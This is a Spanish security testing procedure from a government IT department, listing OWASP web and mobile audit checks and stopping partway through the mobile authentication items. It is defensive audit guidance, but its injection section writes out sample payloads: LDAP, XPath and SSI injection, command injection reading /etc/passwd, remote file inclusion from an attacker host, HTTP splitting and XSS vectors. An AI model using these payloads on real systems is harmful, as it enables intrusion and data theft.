Guía de desarrollo, Anexo 03.09

Procedimiento de pruebas de seguridad

Autor: Oficina de Pruebas

GERENCIA INFORMÁTICA
JOSEFA VALCÁRCEL, 44
28027-MADRID

Índice General

1 INTRODUCCIÓN 3

1.1 OBJETO 3
1.2 ALCANCE 3

2 PROCEDIMIENTO DE PRUEBAS DE SEGURIDAD 3

2.1 ANÁLISIS DE PRUEBAS 3
2.1.1 Web 3
2.1.2 Móviles 4
2.2 ESPECIFICACIÓN DE PRUEBAS 4
2.2.1 OWASP Web 4
2.2.2 OWASP Móvil 19
2.3 EJECUCIÓN DE PRUEBAS 30
2.3.1 Registro y Clasificación de vulnerabilidades 31
2.4 ANEXO A: CVSS 32

1 Introducción

1.1 Objeto

En el presente documento se recoge la información general referida a las auditorías de seguridad de los diferentes proyectos auditados.

1.2 Alcance

La normativa que aquí se expone es de obligado cumplimiento para todas aquellas personas que vayan a realizar un proceso de pruebas sobre una aplicación en la DGT: La Oficina de Pruebas, Empresas externas de Desarrollo, etc.…

2 Procedimiento de pruebas de seguridad

2.1 Análisis de pruebas

2.1.1 Web

El procedimiento para llevar a cabo las auditorías varía dependiendo de la arquitectura y tipo de aplicación, aunque algunos procedimientos son comunes.

En general, lo que se busca es auditar cada uno de los parámetros modificables por el usuario normal (datos de formularios, tags XML en webservices, p.ej), así como los modificables por un usuario malintencionado (variables en URLs, cookies, variables ocultas (hidden) en formularios, etc.).

2.1.2 Móviles

La metodología está pensada para ser puesta en práctica desde el punto de vista de un desarrollador de aplicaciones. De esta forma la auditoria ideal de las aplicaciones móviles sería combinar el análisis dinámico y estático para conseguir cubrir el mayor área (superficie) posible de ataque.

"El análisis dinámico se utiliza para asegurar la calidad y seguridad de la aplicación software durante el proceso de ejecución, mientras que el Análisis estático es la revisión de la seguridad de la aplicación a través del código fuente de la misma, utilizado habitualmente durante la fase de desarrollo de la aplicación"

Tomando como base la "auditoria ideal" para el análisis de seguridad de las aplicaciones móviles, se construyen las siguientes tres etapas de una Auditoria para aplicaciones móviles:

- E1: Recolectar la información
- E2: Análisis estático
- E3: Análisis dinámico

2.2 Especificación de pruebas

OWASP, la principal fuente de análisis de seguridad actual publica cada año una lista con las vulnerabilidades más importantes en cuanto a nivel de ocurrencia y peligrosidad. Las auditorías de seguridad se centran principalmente en estos aspectos.

2.2.1 OWASP Web

2.2.1.1Obtención de información

- **OTG-INFO-001 Reconocimiento de fuga de información mediante motores de búsqueda**

Usar un motor de búsqueda para ver si se pueden encontrar diagramas de red, configuraciones, credenciales, contenidos sensibles dentro de los mensajes de error

- **OTG-INFO-002 Pruebas mediante firmas digitales en el servidor web de la aplicación**
  Encontrar la versión y el tipo del servidor web para determinar las vulnerabilidades conocidas y los exploits apropiados. Usar "HTTP header field ordering" y "Malformed requests test".
- **OTG-INFO-003 Revisión de fuga de información a través Robots, Spiders o Crawlers**
  Analizar robots.txt e identificar <META> tags de la web
- **OTG-INFO-004 Descubrimiento de aplicaciones alojadas en un servidor web**
  Encontrar aplicaciones alojadas en el servidor web (servidores virtuales/subdominios), puertos no estándar, transferencias de zonas DNS
- **OTG-INFO-005 Revisión de fuga de información en comentarios y metadatos de la página web**
  Encontrar información sensible de la web en comentarios o metadata del código fuente
- **OTG-INFO-006 Identificación de puntos de entrada de la aplicación**
  Identificar en campos ocultos parámetros, métodos, análisis de cabeceras HTTP
- **OTG-INFO-007 Identificación del mapa de aplicación**
  Mapear la aplicación y entender los flujos principales
- **OTG-INFO-008 Pruebas sobre las firmas del framework de la aplicación web**
  Encontrar el tipo de framework/CMS de la aplicación a través de las cabeceras HTTP, Cookies, código fuente, ficheros específicos o carpetas
- **OTG-INFO-009 Pruebas sobre las firmas de la aplicación web**
  Identificar la aplicación web y la versión para determinar las vulnerabilidades conocidas y los exploits adecuados
- **OTG-INFO-010 Enumeración de la arquitectura de Red y de Aplicación**
  Identificar la arquitectura de la aplicación incluyendo el idioma de la web, WAF, reverse proxy, servidor de aplicaciones y base de datos de backend

2.2.1.2Pruebas de configuración y gestión del despliegue

- **OTG-CONFIG-001 Pruebas de gestión de configuración de la infraestructura de la aplicación**

  Comprender las interacciones de los elementos de la infraestructura, la gestión de la configuración del software, el servidor de bases de datos del backend, WebDAV, FTP con el fin de identificar las vulnerabilidades conocidas.
- **OTG-CONFIG-002 Pruebas de gestión de configuración de la plataforma de la aplicación**

  Identificar el archivo/directorio de instalación predeterminado, Manejar los errores del servidor (40*,50*), Privilegios mínimos, Registro de software.
- **OTG-CONFIG-003 Gestión de extensiones de archivo**

  Encontrar archivos importantes, información (.asa , .inc , .sql ,zip, tar, pdf, txt, etc)
- **OTG-CONFIG-004 Archivos antiguos, copias de seguridad y sin referencias**

  Revisar el código fuente de JS, los comentarios, el archivo de caché, el archivo de respaldo (.old, .bak, .inc, .src) y adivinar el nombre del archivo
- **OTG-CONFIG-005 Interfaces de administración de la Infraestructura y de la aplicación**

  Directorio y enumeración de archivos, comentarios y enlaces en el código fuente (/admin, /administrador, /backoffice, /backend, etc), puerto alternativo del servidor (Tomcat/8080)
- **OTG-CONFIG-006 Pruebas sobre los métodos HTTP soportados**

  Identificar los métodos permitidos por HTTP en el servidor Web con OPCIONES. Métodos arbitrarios de HTTP, bypass de control de acceso HEAD y XST

  P.Ej: curl -s -D- https://domain.com/ | grep Strict"
- **OTG-CONFIG-007 Pruebas sobre la cabecera HSTS**

  Identificar el encabezado HSTS en el servidor Web a través del encabezado de respuesta HTTP.
- **OTG-CONFIG-008 Pruebas sobre la política RIA**

  Analizar los permisos permitidos desde los archivos de políticas (crossdomain.xml/clientaccesspolicy.xml) y allow-access-from.

2.2.1.3Pruebas de gestión de la identidad

- **OTG-IDENT-001 Pruebas sobre la definición de roles**
  Validar los roles de sistema definidos dentro de la aplicación creando una matriz de permisos.
- **OTG-IDENT-002 Pruebas sobre el proceso de registro de usuarios**
  Verificar que los requisitos de identidad para el registro de usuarios estén alineados con los requisitos de negocio y de seguridad:
- **OTG-IDENT-003 Pruebas sobre el proceso de aprovisionamiento de las cuentas**
  Determinar qué roles pueden aprovisionar a los usuarios y qué tipo de cuentas pueden aprovisionar.
- **OTG-IDENT-004 Enumeración de usuarios y cuentas de usuario predeterminados o adivinables**
  Comprobación genérica de la declaración de error de inicio de sesión, códigos de retorno/valores de parámetros, enumeración de todas las posibles identificaciones de usuario válidas (Sistema de inicio de sesión, Contraseña olvidada)
- **OTG-IDENT-005 Pruebas sobre la política de nombres de usuario**
  Los nombres de las cuentas de usuario suelen estar muy estructurados (por ejemplo, el nombre de la cuenta de Joe Bloggs es jbloggs y el nombre de la cuenta de Fred Nurks es fnurks) y los nombres de cuenta válidos pueden adivinarse fácilmente.
- **OTG-IDENT-006 Pruebas de permisos de cuentas de tipo invitado y formación**
  Las cuentas de invitado y de formación son formas útiles de familiarizar a los usuarios potenciales con la funcionalidad del sistema antes de que completen el proceso de autorización necesario para el acceso. Evalúe la coherencia entre la política de acceso y los permisos de acceso de la cuenta de invitado/formación.
- **OTG-IDENT-007 Pruebas de suspensión y rehabilitación de cuentas**
  Verificar que los requisitos de identidad para el registro de usuarios se alineen con los requisitos de negocio/seguridad. Validar el proceso de registro.

2.2.1.4Pruebas de autenticación

- **OTG-AUTHN-001 Transmisión de credenciales sobre canal cifrado**
  Comprobar el referenciador si es su HTTP o sus HTTPs. Envío de datos a través de HTTP y HTTPS.
- **OTG-AUTHN-002 Cuentas de usuario predeterminados**
  Prueba de las credenciales por defecto de las aplicaciones comunes, Prueba de la contraseña por defecto de las cuentas nuevas.
- **OTG-AUTHN-003 Pruebas contra ataques de fuerza bruta**
  Evaluar la capacidad del mecanismo de bloqueo de cuentas para mitigar la fuerza bruta de adivinación de contraseñas. Evalúe la resistencia del mecanismo de desbloqueo a la apertura no autorizada de cuentas.
- **OTG-AUTHN-004 Prueba para evitar el esquemas de autenticación**
  Forzar la navegación (/admin/main.php, /page.asp?authenticated=yes), modificación de parámetros, predicción de ID de sesión, inyección SQL
- **OTG-AUTHN-005 Pruebas de recordatorio de contraseña y restablecimiento**
  Buscar las contraseñas que se almacenan en una cookie. Examinar las cookies almacenadas por la aplicación. Verificar que las credenciales no se almacenen en texto claro, sino que se hayan marcado. ¿Autocompletado=off?
- **OTG-AUTHN-006 Pruebas de recordatorio de datos sensibles en la caché del navegador**
  Comprobar el problema del historial del navegador haciendo clic en el botón "Atrás" después de cerrar la sesión. Comprobar el problema de la caché del navegador a partir de las cabeceras de respuesta HTTP (Cache-Control: no-cache)
- **OTG-AUTHN-007 Prueba sobre la política de contraseñas**
  Determine la resistencia de la aplicación contra la adivinación bruta de contraseñas usando los diccionarios de contraseñas disponibles, evaluando los requisitos de longitud, complejidad, reutilización y envejecimiento de las contraseñas

- **OTG-AUTHN-008 Pruebas sobre los mecanismos pregunta/respuesta de seguridad**
  Prueba de preguntas pre-generadas débiles, Prueba de preguntas auto-generadas débiles, Prueba de respuestas forzadas (¿Intentos ilimitados?)
- **OTG-AUTHN-009 Pruebas de recordatorio de contraseña y restablecimiento**
  Probar el restablecimiento de la contraseña (¿Desplegar la contraseña antigua en texto plano?, ¿enviar por correo electrónico?, ¿un token aleatorio en el correo de confirmación?), probar el cambio de contraseña (¿necesita la contraseña antigua?), vulnerabilidad CSRF ?
- **OTG-AUTHN-010 Pruebas sobre canales alternativos de autenticación**
  Comprender el mecanismo primario e identificar otros canales (aplicación móvil, centro de llamadas, SSO)

2.2.1.5Pruebas de autorización

- **OTG-AUTHZ-001 Pruebas de ruta transversal/inclusión de ficheros**
  dot-dot-slash attack (../), cruce de directorios, inclusión de archivos locales/inclusión de archivos remotos.
- **OTG-AUTHZ-002 Prueba para evitar el esquema de autorización**
  Acceder a un recurso sin autenticación, Evitar ACL, Forzar la navegación (/admin/adduser.jsp)
- **OTG-AUTHZ-003 Pruebas de escalada de privilegios**
  Las pruebas de rol/privilegio manipulan los valores de las variables ocultas. Cambiar algún parámetro groupid=2 por groupid=1
- **OTG-AUTHZ-004 Pruebas sobre la Referencia Directa Insegura a Objetos**
  Forzar el cambio del valor del parámetro (?factura=123 -> ?factura=456)

2.2.1.6Pruebas de gestión de sesiones

- **OTG-SESS-001 Prueba para evitar el esquema de gestión de sesión**

Predicción de análisis de SessionID, transporte de cookies sin cifrar, fuerza bruta.

- **OTG-SESS-002 Pruebas de atributos de la cookie**
  Verificar la marca HTTPOnly y Secure, el vencimiento, inspeccionar si hay datos sensibles.
- **OTG-SESS-003 Prueba de fijación de sesión**
  La aplicación no renueva la cookie después de una autenticación de usuario exitosa.
- **OTG-SESS-004 Prueba de variables de sesión expuestas**
  Cifrado y Reutilización de vulnerabilidades de los tokens de sesión, Enviar sessionID con el método GET ?
- **OTG-SESS-005 Pruebas de CSRF**
  Análisis de URL, Acceso directo a las funciones sin ningún tipo de token.
- **OTG-SESS-006 Pruebas sobre la salida de sesión**
  Comprobar la sesión de reutilización después de cerrar la sesión tanto del lado del servidor como del SSO.
- **OTG-SESS-007 Pruebas sobre el tiempo de expiración de sesión**
  Comprobar el tiempo de espera de la sesión, después de que el tiempo de espera haya pasado, todos los testigos de sesión deben ser destruidos o inutilizados.
- **OTG-SESS-008 Pruebas para Session Puzzling**
  La aplicación utiliza la misma variable de sesión para más de un propósito. Un atacante puede potencialmente acceder a las páginas en un orden no previsto por los desarrolladores, de modo que la variable de sesión se establece en un contexto y luego se utiliza en otro.

2.2.1.7Pruebas de validación de datos

- **OTG-INPVAL-001 Pruebas de Cross Site Scripting reflejado**
  Comprobar la validación de entrada, sustituya el vector utilizado para identificar XSS, XSS con HTTP Parameter Pollution.
- **OTG-INPVAL-002 Pruebas de Cross Site Scripting almacenado**
  Verificar formularios de entrada/subir formularios y analizar códigos HTML, Aprovechar XSS con BeEF

- **OTG-INPVAL-003 Pruebas de HTTP Verb Tampering**

  Crear solicitudes HTTP personalizadas para probar los otros métodos para evitar la autenticación y autorización de URL.
- **OTG-INPVAL-004 Pruebas de polución de parámetros HTTP**

  Identificar cualquier forma o acción que permita que la entrada suministrada por el usuario pase por alto la validación de entrada y los filtros utilizando HPP
- **OTG-INPVAL-005 Pruebas de inyección SQL**

  Union, Boolean, Error based, Out-of-band, Time delay.
  - **Oracle** Identificar URLs para aplicaciones web PL/SQL, Acceso con paquetes PL/SQL, Bypass de la lista de exclusión PL/SQL, Inyección SQL
  - **MySQL** Identificar la versión de MySQL, Cita simple, Information_schema, archivo de lectura/escritura.
  - **SQL Server** Operador de comentario (- -), Separador de consultas (;), Procedimientos almacenados (xp_cmdshell)
  - **PostgreSQL** Determine que el motor de la base de datos del backend es PostgreSQL usando el operador :: cast. Archivo de lectura/escritura, Inyección de Shell (comando del sistema operativo)
  - **MS Access** Enumerar la columna a través de un error basado en (Agrupar por), Obtener el esquema de la base de datos combinado con fuzzdb.
  - **Inyección NoSQL** Identificar bases de datos NoSQL, Pasar caracteres especiales (' " \ ; { }), Ataque con nombre de variable reservada, operador.
- **OTG-INPVAL-006 Pruebas de inyección LDAP**
  - "/ldapsearch?user=*
  - user=*user=*)(uid=*))(|(uid=*
  - pass=password"
- **OTG-INPVAL-007 Pruebas de inyección ORM**

  La prueba de inyección ORM es idéntica a la prueba de inyección SQL
- **OTG-INPVAL-008 Pruebas de inyección XML**

  Compobar los Meta Caracteres XML

  ', "" , <>, <!--/-->, &, <![CDATA[/]]>, XXE, TAG"

- **OTG-INPVAL-009 Pruebas de inyección SSI**
  - Presencia de la extensión .shtml
  - Compruebe estos caracteres: < ! # = / . "" - > and [a-zA-Z0-9]
  - include String = <!--#include virtual=""/etc/passwd"" -->"
- **OTG-INPVAL-010 Pruebas de inyección XPath**

  Comprobar la enumeración de errores XML suministrando una sola comilla (‘), p.ej:
  - Username: ‘ or ‘1’ = ‘1
  - Password: ‘ or ‘1’ = ‘1"
- **OTG-INPVAL-011 Pruebas de inyección IMAP/SMTP**
  - Identificar parámetros vulnerables con caracteres especiales (por ejemplo: \, ', "", @, #, !, |)
  - Entender el flujo de datos y la estructura de despliegue de la inyección de comandos IMAP/SMTP del cliente
  - IMAP/SMTP command injection (Header, Body, Footer)"
- **OTG-INPVAL-012 Pruebas de inyección de código**
  - Introducir los comandos del sistema operativo en el campo de entrada.
  - ? arg=1; system('id')"
  - Pruebas de inclusión de ficheros locales LFI con dot-dot-slash (../../), PHP Wrapper (php://filter/convert.base64-encode/resource)
  - Pruebas de inclusión de ficheros remotos
  - RFI desde URL maliciosa ?page.php?file=http://attacker.com/malicious_page
- **OTG-INPVAL-013 Pruebas de inyección de órdenes del sistema operativo**

  Comprender la plataforma de la aplicación, el sistema operativo, la estructura de carpetas, la ruta relativa y ejecutar los comandos del sistema operativo en un servidor Web, p.ej:
  - %3Bcat%20/etc/passwd
  - test.pdf+|+Dir C:\"
- **OTG-INPVAL-014 Pruebas de desbordamiento de búfer**
  - Prueba de vulnerabilidad de desbordamiento de pila
  - Prueba de vulnerabilidad de formato de cadena
- **OTG-INPVAL-015 Pruebas de vulnerabilidad incubada**

- Carga de archivos, XSS almacenado, inyección de SQL/XPATH, servidores mal configurados (Tomcat, Plesk, Cpanel)

- **OTG-INPVAL-016 Pruebas de HTTP Splitting/Smuggling**
  - param=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,%20System%20Down</html>

2.2.1.8Manejo de errores

- **OTG-ERR-001 Análisis de códigos de error**
  Localizar los códigos de error generados por las aplicaciones o los servidores web. Recopilar información sensible de los errores (Servidor Web, Servidor de Aplicación, Base de Datos)
- **OTG-ERR-002 Análisis de trazas de error**
  - Entrada inválida / Entradas vacías
  - Entrada que contiene caracteres no alfanuméricos o sintaxis de consulta
  - Acceso a páginas internas sin autenticación
  - Anulación del flujo de la aplicación

2.2.1.9Criptografía

- **OTG-CRYPST-001 Pruebas de SSL/TLS**
  Identificar el servicio SSL, Identificar los cifrados/protocolos débiles (p.ej. RC4, BEAST, CRIME, POODLE)
- **OTG-CRYPST-002 Pruebas para Oracle Padding**
  Comparar las respuestas en tres estados diferentes:
  - El texto cifrado se descifra, los datos resultantes son correctos.

- El texto cifrado se descifra, los datos resultantes son confusos y causantes de excepciones o errores en la lógica de la aplicación.
- El descifrado del texto cifrado falla debido a errores de relleno.

- **OTG-CRYPST-003 Pruebas sobre el envío de información sensible a través de un canal no cifrado**

  Comprobar los datos sensibles durante la transmisión:
  - Información utilizada en la autenticación (por ejemplo, Credenciales, PINs, Identificadores de sesión, Tokens, Cookies...)
  - Información protegida por leyes, regulaciones o políticas organizacionales específicas (por ejemplo, Tarjetas de Crédito, Datos de clientes)

2.2.1.10Pruebas de la lógica de negocio

- **OTG-BUSLOGIC-001 Pruebas de Validación de Datos en la Lógica de Negocio**
- **OTG-BUSLOGIC-002 Pruebas sobre la habilidad para falsificar peticiones**

  Buscando la funcionalidad adivinable, predecible u oculta de los campos. Una vez encontrados, intente insertar datos lógicamente válidos en la aplicación/sistema permitiendo al usuario ir a través de la aplicación/sistema en contra del flujo de trabajo normal de la lógica empresarial. "
- **OTG-BUSLOGIC-003 Pruebas sobre Comprobaciones de Integridad**
  - Buscar partes de la aplicación/sistema (componentes, por ejemplo, campos de entrada, bases de datos o registros) que muevan, almacenen o manejen datos/información.
  - Para cada componente identificado determine qué tipo de datos/información es lógicamente aceptable y contra qué tipos la aplicación/sistema debería protegerse. Además, considere quién, de acuerdo con la lógica del negocio, está autorizado a insertar, actualizar y borrar datos/información y en cada componente.
  - Intentar insertar, actualizar o editar borrar los valores de datos/información con datos/información inválidos en cada componente (es decir, entrada, base de datos o log)

por usuarios que no deben ser permitidos por el flujo de trabajo de la lógica empresarial. "

- **OTG-BUSLOGIC-004 Pruebas sobre los tiempos de respuesta**

  Buscando la funcionalidad de la aplicación/sistema que puede ser impactada por el tiempo. Como el tiempo de ejecución o las acciones que ayudan a los usuarios a predecir un resultado futuro o que le permiten a uno sortear una parte de la lógica o el flujo de trabajo del negocio. Por ejemplo, no completar las transacciones en el tiempo previsto.

  Desarrolle y ejecute los casos de uso indebido asegurándose de que los atacantes no puedan obtener una ventaja basada en cualquier momento.

- **OTG-BUSLOGIC-005 Pruebas sobre el número de veces que una función se puede ejecutar**

  Buscar funciones o características en la aplicación o el sistema que no deben ser ejecutadas más de una vez o un número especificado de veces durante el workflow de lógica empresarial.

  Para cada una de las funciones y características encontradas que sólo deben ser ejecutadas una sola vez o un número especificado de veces durante el flujo de trabajo de la lógica del negocio, desarrolle casos de abuso/mal uso que puedan permitir a un usuario ejecutar más del número de veces permitido."

- **OTG-BUSLOGIC-006 Pruebas sobre la alteración de los procesos del Negocio**

  Buscando métodos para saltar o ir a los pasos en el proceso de aplicación en un orden diferente del flujo de la lógica de negocio diseñada/intencionada.

  Para cada método, desarrolle un caso de uso indebido e intente evitar o realizar una acción que sea ""no aceptable"" según el flujo de trabajo de la lógica del negocio.

- **OTG-BUSLOGIC-007 Prueba sobre las defensas de la aplicación**

  Medidas que pueden indicar que la aplicación tiene una autodefensa incorporada:

  - Respuestas modificadas
  - Solicitudes bloqueadas
  - Acciones que cierran la sesión de un usuario o bloquean su cuenta

- **OTG-BUSLOGIC-008 Prueba de subida de ficheros no esperados**

- Revisar la documentación del proyecto y realice algunas pruebas exploratorias en busca de tipos de archivo que deberían ser ""no soportados"" por la aplicación/sistema.
- Intentar subir estos archivos ""no soportados"" y verifique que sean correctamente rechazados.
- Si se pueden cargar varios archivos a la vez, debe haber pruebas para verificar que cada archivo se evalúa correctamente.
- PS. archivo.phtml, shell.phPWND, SHELL~1.PHP

- **OTG-BUSLOGIC-009 Prueba de subida de ficheros maliciosos**
  Desarrollar o adquirir un archivo "malicioso" conocido. Intente subir el archivo malicioso a la aplicación/sistema y verifique que sea rechazado correctamente. Si se pueden cargar varios archivos a la vez, debe haber pruebas para verificar que cada archivo se evalúa correctamente.

2.2.1.11Pruebas de cliente.

- **OTG-CLIENT-001 Pruebas de Cross Site Scripting basado en DOM**
  Prueba de las entradas del usuario obtenidas de los objetos JavaScript del lado del cliente
- **OTG-CLIENT-002 Pruebas de inyecciones JavaScript**
  Inyectar código JavaScript: www.victim.com/?javascript:alert(1)"
- **OTG-CLIENT-003 Pruebas de inyección HTML**
  Enviar código HTML malicioso: ?user=<img%20src='aaa'%20onerror=alert(1)>
- **OTG-CLIENT-004 Pruebas de redirección de URL en el lado del cliente**
  Modificar la entrada de una URL no fiable a un sitio malicioso: (Open Redirect) ?redirect=www.fake-target.site
- **OTG-CLIENT-005 Pruebas de inyección CSS**
  Inyectar código en el contexto CSS: - www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12]) - www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)

- **OTG-CLIENT-006 Pruebas de manipulación de recursos en el lado del cliente**
  El Javascript externo puede ser fácilmente inyectado en el sitio web de confianzawww.victim.com/#_COPY12
- **OTG-CLIENT-007 Pruebas de Cross Origin Resource Sharing**
  Comprobar los encabezados HTTP para entender cómo se utiliza CORS (Origin Header)
- **OTG-CLIENT-008 Pruebas de Cross Site Flashing**
  Descompilar, Variables no definidas, Métodos inseguros, Incluir SWF malicioso (http://victim/file.swf?lang=http://evil
- **OTG-CLIENT-009 Pruebas de Clickjacking**
  Descubrir si un sitio web es vulnerable cargándolo en un iframe, cree una página web sencilla que incluya un marco que contenga el objetivo.
- **OTG-CLIENT-010 Pruebas de WebSockets**
  Identificar que la aplicación está utilizando WebSockets inspeccionando el esquema ws:// o wss:// URI. Utilice las herramientas de desarrollo de Google Chrome para ver la comunicación de la red WebSocket. Comprobación del origen, confidencialidad e integridad, autenticación, autorización, sanitización de entrada
- **OTG-CLIENT-011 Pruebas de Web Messaging**
  Analizar el código JavaScript buscando cómo se implementa la Mensajería Web. Cómo el sitio web restringe los mensajes de dominios no confiables y cómo se manejan los datos incluso para los dominios confiables
- **OTG-CLIENT-012 Pruebas de almacenamiento local**
  Determinar si el sitio web está almacenando datos sensibles en el almacenamiento. XSS en localstorage http://server/StoragePOC.html#<img src=x onerror=alert(1)>

Se prestará especial atención a las vulnerabilidades clasificadas como Top Ten de Owasp

- **A1 - Inyección**
  Los fallos de inyección, tales como SQL, SO y LDAP aparecen cuando se envían datos no seguros a un intérprete como parte de un comando o consulta. Los datos maliciosos del

atacante pueden engañar al intérprete para que ejecute comandos no previstos o acceder a datos no autorizados.

- **A2–Pérdida de autenticación y gestión de sesiones**

  Las funciones de aplicación relacionadas con la autenticación y la gestión de sesiones no se implementan correctamente con cierta frecuencia, permitiendo a un atacante comprometer claves de acceso, keys, tokens de sesión o explotando otros fallos de implementación para adquirir la identidad de otros usuarios.

- **A3–Secuencia de comandos en sitios cruzados (XSS)**

  Los fallos de XSS aparecen cuando una aplicación admite datos no seguros y los envía a un navegador web sin la apropiada validación o codificación. Los XSS permiten a un atacante ejecutar código malicioso en el navegador web de la víctima que pueden secuestrar su sesión, modificar el aspecto de sitios web o redirigir al usuario a sitos maliciosos.

- **A4 – Referencia directa insegura a objetos**

  Una referencia directa a objetos aparece cuando un desarrollador muestra una referencia a objetos internos de la implementación, como ficheros, directorios o claves de base de datos. Sin un control de acceso u otra protección, un atacante puede manipular estas referencias para acceder a datos no autorizados.

- **A5–Configuración de seguridad defectuosa**

  Una buena seguridad requiere tener una configuración de seguridad definida y desplegada para cada entorno de trabajo, servidor de aplicaciones, servidor web, base de datos y plataforma. Estos parámetros deben ser definidos, implementados y mantenidos ya que muchas aplicaciones no se entregan con una configuración segura por defecto. Esto incluye mantener actualizado todo el software.

- **A6–Almacenamiento criptográfico inseguro**

  Muchas aplicaciones web no protegen adecuadamente los datos sensibles, tales como tarjetas de crédito, NSSs, y credenciales de autenticación con mecanismos de cifrado o hashing. Atacantes pueden modificar o robar tales datos protegidos inadecuadamente para conducir robos de identidad, fraudes de tarjeta de crédito u otros delitos. Los datos sensibles requieren una protección extra como la encriptación, así como tomar precauciones especiales cuando se intercambian con el navegador web.

- **A7–Fallos de restricción de acceso a URLs**

  Casi todas las aplicaciones web verifican los privilegios de acceso a URLs antes de generar enlaces o botones protegidos. Sin embargo, las aplicaciones necesitan realizar controles similares cada vez que estas páginas son accedidas, o un atacante podría falsificar URLs para acceder a estas páginas igualmente.

- **A8-Falsificación de peticiones en sitios cruzados (CSRF)**

  Un ataque CSRF obliga al navegador de una víctima autenticada a enviar una petición HTTP falsificada, incluyendo la sesión del usuario y cualquier otra información de autenticación incluida automáticamente, a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la víctima para generar pedidos que la aplicación vulnerable piensa son peticiones legítimas provenientes de la víctima.

- **A9-Uso de componentes con vulnerabilidades conocidas**

  Los componentes vulnerables, como librerías, frameworks y otros módulos de software corren a menudo con privilegios totales. En caso de vulnerar el software se puede producir pérdidas severas de datos o secuestro de servidores. Las aplicaciones que usan estos componentes vulnerables pueden minar las defensas y posibilitar un amplio espectro de posibles ataques y daños.

- **A10–Redirecciones y envíos no validados**

  Las aplicaciones web frecuentemente redirigen y reenvían a los usuarios hacia otras páginas o sitios web, y utilizan datos no confiables para determinar la página de destino. Sin una validación apropiada, los atacantes pueden redirigir a las víctimas hacia sitios de phishing o malware, o utilizar reenvíos para acceder páginas no autorizadas.

2.2.2 OWASP Móvil

2.2.2.1 Arquitectura, Diseño y Modelado de Amenazas

- **MSTG-ARCH-1** Todos los componentes se encuentran identificados y asegurar que son necesarios.

- **MSTG-ARCH-2** Los controles de seguridad nunca se aplican sólo en el cliente, sino que también en los respectivos servidores.
- **MSTG-ARCH-3** Se definió una arquitectura de alto nivel para la aplicación y los servicios y se incluyeron controles de seguridad en la misma.
- **MSTG-ARCH-4** Se identificó claramente la información considerada sensible en el contexto de la aplicación móvil.
- **MSTG-ARCH-5** Todos los componentes de la aplicación están definidos en términos de la lógica de negocio o las funciones de seguridad que proveen.
- **MSTG-ARCH-6** Se realizó un modelado de amenazas para la aplicación móvil y los servicios en el que se definieron las mismas y sus contramedidas.
- **MSTG-ARCH-7** Todos los controles de seguridad poseen una implementados centralizada.
- **MSTG-ARCH-8** Existe una política explícita sobre el uso de claves criptográficas (si se usan) a través de todo su ciclo de vida. Idealmente siguiendo un estándar de gestión de claves como el NIST SP 800-57.
- **MSTG-ARCH-9** Existe un mecanismo para forzar las actualizaciones de la aplicación móvil.
- **MSTG-ARCH-10** La implementación de medidas de seguridad es una parte esencial durante todo el ciclo de vida del desarrollo de software de la aplicación.
- **MSTG-ARCH-11** Existe una política de divulgación responsable y es llevada a cabo adecuadamente.
- **MSTG-ARCH-12** La aplicación debería de cumplir con las leyes y regulaciones de privacidad.

2.2.2.2 Almacenamiento de datos y la Privacidad

- **MSTG-STORAGE-1** Las funcionalidades de almacenamiento de credenciales del sistema deben de ser utilizadas para almacenar información sensible, tal como información personal, credenciales de usuario o claves criptográficas.

- **MSTG-STORAGE-2** No se debe almacenar información sensible fuera del contenedor de la aplicación o del almacenamiento de credenciales del sistema.
- **MSTG-STORAGE-3** No se escribe información sensible en los registros (logs) de la aplicación.
- **MSTG-STORAGE-4** No se comparte información sensible con servicios externos salvo que sea una necesidad de la arquitectura.
- **MSTG-STORAGE-5** Se desactiva la caché del teclado en los campos de texto que contienen información sensible.
- **MSTG-STORAGE-6** No se expone información sensible mediante mecanismos de comunicación entre procesos (IPC).
- **MSTG-STORAGE-7** No se expone información sensible como contraseñas y números de tarjetas de crédito a través de la interfaz o capturas de pantalla.
- **MSTG-STORAGE-8** No se incluye información sensible en las copias de seguridad generadas por el sistema operativo.
- **MSTG-STORAGE-9** La aplicación elimina toda información sensible de la vista cuando la aplicación pasa a un segundo plano.
- **MSTG-STORAGE-10** La aplicación no conserva ninguna información sensible en memoria más de lo necesario y la memoria se limpia tras su uso.
- **MSTG-STORAGE-11** La aplicación obliga a que exista una política mínima de seguridad en el dispositivo, como que el usuario deba configurar un código de acceso.
- **MSTG-STORAGE-12** La aplicación educa al usuario acerca de los tipos de información personal que procesa y de las mejores prácticas en seguridad que el usuario debería seguir al utilizar la aplicación.
- **MSTG-STORAGE-13** No se guarda ningún tipo de información sensible de forma local en el dispositivo móvil. En su lugar, esa información debería ser obtenida desde un sistema remoto sólo cuando es necesario y únicamente residir en memoria.
- **MSTG-STORAGE-14** En caso de ser necesario guardar información sensible de forma local, ésta debe de ser cifrada usando una clave derivada del hardware de almacenamiento seguro, el cual debe requerir autenticación previa.

- **MSTG-STORAGE-15** El almacenamiento local de la aplicación debe de ser borrado tras un número excesivo de intentos fallidos de autenticación.

2.2.2.3 Criptografía

- **MSTG-CRYPTO-1** La aplicación no depende únicamente de criptografía simétrica cuyas claves se encuentran directamente en el código fuente de la misma.
- **MSTG-CRYPTO-2** La aplicación utiliza implementaciones de criptografía probadas.
- **MSTG-CRYPTO-3** La aplicación utiliza primitivas de seguridad que son apropiadas para el caso particular y su configuración y parámetros siguen las mejores prácticas de la industria.
- **MSTG-CRYPTO-4** La aplicación no utiliza protocolos o algoritmos criptográficos ampliamente considerados obsoletos para su uso en seguridad.
- **MSTG-CRYPTO-5** La aplicación no reutiliza una misma clave criptográfica para varios propósitos.
- **MSTG-CRYPTO-6** Los valores aleatorios son generados utilizando un generador de números aleatorios suficientemente seguro.

2.2.2.4 Autenticación y Manejo de Sesiones

- **MSTG-AUTH-1** Si la aplicación provee acceso a un servicio remoto, un mecanismo aceptable de autenticación como usuario y contraseña es realizado en el servidor remoto.
- **MSTG-AUTH-2** Si se utiliza la gestión de sesión por estado, el servidor remoto usa tokens de acceso aleatorios para autenticar los pedidos del cliente sin requerir el envío de las credenciales del usuario en cada uno.
